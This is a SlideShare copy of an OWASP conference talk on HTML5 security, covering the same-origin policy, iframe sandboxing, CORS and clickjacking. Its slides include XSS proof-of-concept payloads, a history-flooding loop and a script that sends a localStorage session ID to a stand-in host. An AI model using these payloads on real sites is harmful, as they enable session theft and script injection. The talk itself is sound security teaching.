SlideShare a Scribd company logo
The OWASP Foundation
              http://www.owasp.org




             Krishna Chaitanya T
                 www.novogeek.com


Security
HTML5-Quick Intro
• 5th revision of the HTML standard.
•   It’s not one big thing.
•   Set of features, technologies & APIs
•   Responsive, interactive, stunning, secure
•   Don’t need to throw anything away.
•   It already works and here to stay!


                                     |2
HTML5-Features
•   New structural & semantic tags
•   Several new elements & attributes
•   Multimedia and Graphics
•   Client side storage, drag/drop,
•   Web messaging, CORS, web sockets
•   and a ton! http://slides.html5rocks.com

                                              3
What about security?
• HTML5 is designed with great effort on
    security!
•   Specs by themselves aren’t seriously flawed
•   Bad code means nest of new vulnerabilities!
•   Brings several complex attack scenarios!
•   Increases client side attack surface


                                                  4
Anything problematic?
•   Hijacking forms made easy
•   Stealing focus & key strokes
•   Form/History Tampering
•   UI redressing vectors
•   Cross origin Attacks
•   and many more..


                                   5
Few new attack vectors
• XSS via formaction // User interaction required
    <form id="test" /><button form="test" formaction="javascript:alert(1)">

•   Self-executing focus event via autofocus //No user interaction required
      <input onfocus=“write(1)” autofocus>

•   JavaScript execution via <VIDEO> and <SOURCE> tag

      <video><source onerror="javascript:alert(1)">

•   Form surveillance

      <form id=test onforminput=alert(1)><input></form>
      <button form=test onformchange=alert(2)>




                                                                              6
History tampering
• Then - history.go(), .forward(), .back()
• Now – history.pushState(data, title, [url])
  history.replaceState(data, title, [url])
• Overflowing user’s history
   for(i=0;i<50;i++){
         history.pushState({}, "", “/youAreTrapped.html"); }


• URL spoofing
• Redirection to infected sites
                                                               7
Web Storage
• Solves the restriction of cookies
    (size, transport during requests etc.)
•   2 types-Local storage & Session storage
•   Persistent-No expiry unlike cookies.
•   ~5MB storage space per domain
•   Isolation of storage objects is based on
    origin

                                               8
Web storage-threat
• Any XSS flaw in the website can read,
   write and tamper stored data!
 <script>
 document.write("<img
 src='http://a.com?sessionID="+localStorage.getItem('SessionID')+"'>");
 </script>


• “If you claim that "XSS is not a big deal"
   that means you never owned something
   by using it and that's your problem not
   XSS's”-Ferruh Mavituna, Author of XSS
   Shell
                                                                          9
Origin-The foundation
• Every talk on security of web platform
  should mention about “Origin”!
• Basic unit of isolation in the web platform
• Origin = scheme://host:port
• Ex: http://bing.com, http://localhost:81/,
  https://icicibank.com



                                                10
Same-Origin-Policy
• Browsers allow one object to access
   another if both are from “same origin”
   (any exceptions?)
• Privileges within origin
  • Full network access
  • Read/Write access to DOM
  • Storage

“SOP-Prevents useful things. Allows dangerous things”-
Douglas Crockford

                                                         11
12
Script Isolation
• Restricting JavaScript to a subset
• Object-capability security model
  • Idea: If an object in JavaScript has no reference to
    “XMLHttpRequest” object, an AJAX call cannot be made.

• Popular JavaScript subsets:
  •Caja (iGoogle), FBJS (Facebook), ADSafe (Yahoo)

• Learning curve, usability issues



                                                            13
Isolation with Frames
• Separate security context for each origin
• Less interactive than JS approach
• Comply with SOP
• Beware! Frames can be navigated to different
  origins using JavaScript!
• Frame navigation is NOT the same as SOP!



                                                 14
Frame Navigation Policies
Permissive



Window



Descendant



Child


                               15
HTML5 Cross Document Messaging

 • Cross-origin client side communication
 • Network-like channel between frames
 • Securely abstracts multiple principals
 • Frames can integrate widgets (in
   mashups) with improved trust!


                                            16
Messaging API-Beware of origin & framing!
//Posting message to a cross domain partner.
frames[0].postMessage(“Hello Partner!”, "http://localhost:81/");

//Retrieving message from the sender
window.onmessage = function (e) {
      if (e.origin == 'http://localhost') {
          //sanitize and accept data
      }
};




                                                                   17
Demo
Cross Domain Messaging-
Recursive Mashup Attack
AJAX, Cross Document Messaging & CORS




                 AJAX
                 Messaging
                 CORS

                                        19
Clickjacking!




                20
JS Defense - Frame Busting




if (top != self) {                 //condition
   top.location = self.location;   //counter action
}


                                                      21
Demo
Clickjacking with CSS & JS
HTML5 Iframe Sandbox
• Very important security feature!
• “sandbox” attribute disables form
  submissions, scripts, top window
  navigation, popups etc.
  <iframe sandbox src="http://remoteSite.com"></iframe>


• Can be relaxed with few tokens
  <iframe sandbox=“allow-forms allow-scripts allow-same-origin allow-
  top-navigation” src="http://remoteSite.com"></iframe>



                                                                        23
Sandbox-problems
• Disables JS based frame busting defense
• Allow-scripts and allow-same-origin
  should not be used together when
  embedded page has same origin as the
  page containing iframe!
• The above combination enables script to
  remove sandbox attribute altogether!


                                            24
Demo
       a) Sandbox disabling frame busters
b) Allow-same-origin, allow-scripts combination
HTML5 Drag/Drop
• Enhances User Experience
• Allows text injection into remote sites
• draggable=“true”, “ondragstart” event
  can be used to drag malicious code into
  remote iframes!
  <div draggable="true"
  ondragstart="event.dataTransfer.setData('text/plain','malicious code');">

  <h1>Drop me</h1> </div>
  <iframe src="http://www.example.org/dropHere.html"></iframe>


                                                                              26
Demo
 “Alphabet-Hero” built by @kkotowicz
http://attacker.kotowicz.net/alphabet-hero/game.html
CORS
• Allows Cross-Origin calls (which are not
  possible with AJAX) by careful restrictions.
• “Access-Control-Allow-Origin” response
  header must be defined by remote site.
• Simple COR for GET, POST, HEAD methods.
• COR with preflight requests for PUT,
  DELETE
• Wild card operator “*”

                                                 28
CORS-Threats
• Shared hosting sites should be careful!
    http://A.com/user1 and http://A.com/user2
    belong to the same origin
•   Accessing internal servers
•   Scanning internal network
•   Establishing a remote shell
•   Rogue CORs and DDoS attacks
•   Misplaced Trust
                                                29
SOTF-Reverse Web Shell


  Hijacked
sessions are
 available to
the attacker




                            Malicious
                           JavaScript
                          injected via
                            XSS hole




                                         30
CORS-Accessing intranet apps




                 Image: Compass Security

                                           31
Demo
a) “Shell of the future” built by @lavakumark
     http://www.andlabs.org/tools/sotf/sotf.html

        b) Accessing internal servers
Questions?


      www.novogeek.com

      Twitter: @novogeek




                           33
References
• Stanford Security Research Lab:
  http://seclab.stanford.edu/websec/
• Dive into HTML5: http://diveintohtml5.info
• HTML5 Security cheatsheet: http://heideri.ch/jso/
• HTML5 Security: http://html5security.org
• Compass Security
• LavaKumar Kuppan: http://blog.andlabs.org/
• Kotowicz: http://blog.kotowicz.net
                                                      34

More Related Content

What's hot

Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
Michael Hendrickx
 
Dom based xss
Dom based xssDom based xss
Dom based xss
Lê Giáp
 
Web browser privacy and security
Web browser privacy and security Web browser privacy and security
Web browser privacy and security
amiable_indian
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
Stormpath
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
Jeremiah Grossman
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
Shreeraj Shah
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
EC-Council
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
Caleb Sima
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
Markus Eisele
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
Eoin Keary
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
Web Hacking
Web HackingWeb Hacking
Browser Security by pratimesh Pathak ( Buldhana)
Browser Security by pratimesh Pathak ( Buldhana) Browser Security by pratimesh Pathak ( Buldhana)
Browser Security by pratimesh Pathak ( Buldhana)
Pratimesh Pathak
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)
Jeremiah Grossman
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
Krzysztof Kotowicz
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
Abraham Aranguren
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 

What's hot (20)

Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
Web browser privacy and security
Web browser privacy and security Web browser privacy and security
Web browser privacy and security
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Browser Security by pratimesh Pathak ( Buldhana)
Browser Security by pratimesh Pathak ( Buldhana) Browser Security by pratimesh Pathak ( Buldhana)
Browser Security by pratimesh Pathak ( Buldhana)
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 

Similar to Html5 security

Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
Iftach Ian Amit
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
Frank Kim
 
Html5 Application Security
Html5 Application SecurityHtml5 Application Security
Html5 Application Security
chuckbt
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin
 
Building Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTsBuilding Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTs
robertjd
 
HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
Blueinfy Solutions
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
Michael Coates
 
Attacking HTML5
Attacking HTML5Attacking HTML5
Attacking HTML5
AppSec_Labs
 
Do you lose sleep at night?
Do you lose sleep at night?Do you lose sleep at night?
Do you lose sleep at night?
Nathan Van Gheem
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Stormpath
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Ivo Andreev
 
Web & Cloud Security in the real world
Web & Cloud Security in the real worldWeb & Cloud Security in the real world
Web & Cloud Security in the real world
Madhu Akula
 
The Mobile Web - HTML5 on mobile devices
The Mobile Web - HTML5 on mobile devicesThe Mobile Web - HTML5 on mobile devices
The Mobile Web - HTML5 on mobile devices
Wesley Hales
 

Similar to Html5 security (20)

Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Html5 Application Security
Html5 Application SecurityHtml5 Application Security
Html5 Application Security
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Building Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTsBuilding Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTs
 
HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Attacking HTML5
Attacking HTML5Attacking HTML5
Attacking HTML5
 
Do you lose sleep at night?
Do you lose sleep at night?Do you lose sleep at night?
Do you lose sleep at night?
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
 
Web & Cloud Security in the real world
Web & Cloud Security in the real worldWeb & Cloud Security in the real world
Web & Cloud Security in the real world
 
The Mobile Web - HTML5 on mobile devices
The Mobile Web - HTML5 on mobile devicesThe Mobile Web - HTML5 on mobile devices
The Mobile Web - HTML5 on mobile devices
 

Recently uploaded

GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
kumardaparthi1024
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
Jason Packer
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
Zilliz
 
Trusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process MiningTrusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process Mining
LucaBarbaro3
 
System Design Case Study: Building a Scalable E-Commerce Platform - Hiike
System Design Case Study: Building a Scalable E-Commerce Platform - HiikeSystem Design Case Study: Building a Scalable E-Commerce Platform - Hiike
System Design Case Study: Building a Scalable E-Commerce Platform - Hiike
Hiike
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Safe Software
 
Building Production Ready Search Pipelines with Spark and Milvus
Building Production Ready Search Pipelines with Spark and MilvusBuilding Production Ready Search Pipelines with Spark and Milvus
Building Production Ready Search Pipelines with Spark and Milvus
Zilliz
 
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with SlackLet's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
shyamraj55
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
panagenda
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
SitimaJohn
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
alexjohnson7307
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
Postman
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
Jakub Marek
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
Pixlogix Infotech
 
Recommendation System using RAG Architecture
Recommendation System using RAG ArchitectureRecommendation System using RAG Architecture
Recommendation System using RAG Architecture
fredae14
 
A Comprehensive Guide to DeFi Development Services in 2024
A Comprehensive Guide to DeFi Development Services in 2024A Comprehensive Guide to DeFi Development Services in 2024
A Comprehensive Guide to DeFi Development Services in 2024
Intelisync
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
Ivanti
 
dbms calicut university B. sc Cs 4th sem.pdf
dbms  calicut university B. sc Cs 4th sem.pdfdbms  calicut university B. sc Cs 4th sem.pdf
dbms calicut university B. sc Cs 4th sem.pdf
Shinana2
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc
 

Recently uploaded (20)

GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
 
Trusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process MiningTrusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process Mining
 
System Design Case Study: Building a Scalable E-Commerce Platform - Hiike
System Design Case Study: Building a Scalable E-Commerce Platform - HiikeSystem Design Case Study: Building a Scalable E-Commerce Platform - Hiike
System Design Case Study: Building a Scalable E-Commerce Platform - Hiike
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
 
Building Production Ready Search Pipelines with Spark and Milvus
Building Production Ready Search Pipelines with Spark and MilvusBuilding Production Ready Search Pipelines with Spark and Milvus
Building Production Ready Search Pipelines with Spark and Milvus
 
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with SlackLet's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slack
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
 
Recommendation System using RAG Architecture
Recommendation System using RAG ArchitectureRecommendation System using RAG Architecture
Recommendation System using RAG Architecture
 
A Comprehensive Guide to DeFi Development Services in 2024
A Comprehensive Guide to DeFi Development Services in 2024A Comprehensive Guide to DeFi Development Services in 2024
A Comprehensive Guide to DeFi Development Services in 2024
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
 
dbms calicut university B. sc Cs 4th sem.pdf
dbms  calicut university B. sc Cs 4th sem.pdfdbms  calicut university B. sc Cs 4th sem.pdf
dbms calicut university B. sc Cs 4th sem.pdf
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
 

Html5 security

  • 1. The OWASP Foundation http://www.owasp.org Krishna Chaitanya T www.novogeek.com Security
  • 2. HTML5-Quick Intro • 5th revision of the HTML standard. • It’s not one big thing. • Set of features, technologies & APIs • Responsive, interactive, stunning, secure • Don’t need to throw anything away. • It already works and here to stay! |2
  • 3. HTML5-Features • New structural & semantic tags • Several new elements & attributes • Multimedia and Graphics • Client side storage, drag/drop, • Web messaging, CORS, web sockets • and a ton! http://slides.html5rocks.com 3
  • 4. What about security? • HTML5 is designed with great effort on security! • Specs by themselves aren’t seriously flawed • Bad code means nest of new vulnerabilities! • Brings several complex attack scenarios! • Increases client side attack surface 4
  • 5. Anything problematic? • Hijacking forms made easy • Stealing focus & key strokes • Form/History Tampering • UI redressing vectors • Cross origin Attacks • and many more.. 5
  • 6. Few new attack vectors • XSS via formaction // User interaction required <form id="test" /><button form="test" formaction="javascript:alert(1)"> • Self-executing focus event via autofocus //No user interaction required <input onfocus=“write(1)” autofocus> • JavaScript execution via <VIDEO> and <SOURCE> tag <video><source onerror="javascript:alert(1)"> • Form surveillance <form id=test onforminput=alert(1)><input></form> <button form=test onformchange=alert(2)> 6
  • 7. History tampering • Then - history.go(), .forward(), .back() • Now – history.pushState(data, title, [url]) history.replaceState(data, title, [url]) • Overflowing user’s history for(i=0;i<50;i++){ history.pushState({}, "", “/youAreTrapped.html"); } • URL spoofing • Redirection to infected sites 7
  • 8. Web Storage • Solves the restriction of cookies (size, transport during requests etc.) • 2 types-Local storage & Session storage • Persistent-No expiry unlike cookies. • ~5MB storage space per domain • Isolation of storage objects is based on origin 8
  • 9. Web storage-threat • Any XSS flaw in the website can read, write and tamper stored data! <script> document.write("<img src='http://a.com?sessionID="+localStorage.getItem('SessionID')+"'>"); </script> • “If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's”-Ferruh Mavituna, Author of XSS Shell 9
  • 10. Origin-The foundation • Every talk on security of web platform should mention about “Origin”! • Basic unit of isolation in the web platform • Origin = scheme://host:port • Ex: http://bing.com, http://localhost:81/, https://icicibank.com 10
  • 11. Same-Origin-Policy • Browsers allow one object to access another if both are from “same origin” (any exceptions?) • Privileges within origin • Full network access • Read/Write access to DOM • Storage “SOP-Prevents useful things. Allows dangerous things”- Douglas Crockford 11
  • 12. 12
  • 13. Script Isolation • Restricting JavaScript to a subset • Object-capability security model • Idea: If an object in JavaScript has no reference to “XMLHttpRequest” object, an AJAX call cannot be made. • Popular JavaScript subsets: •Caja (iGoogle), FBJS (Facebook), ADSafe (Yahoo) • Learning curve, usability issues 13
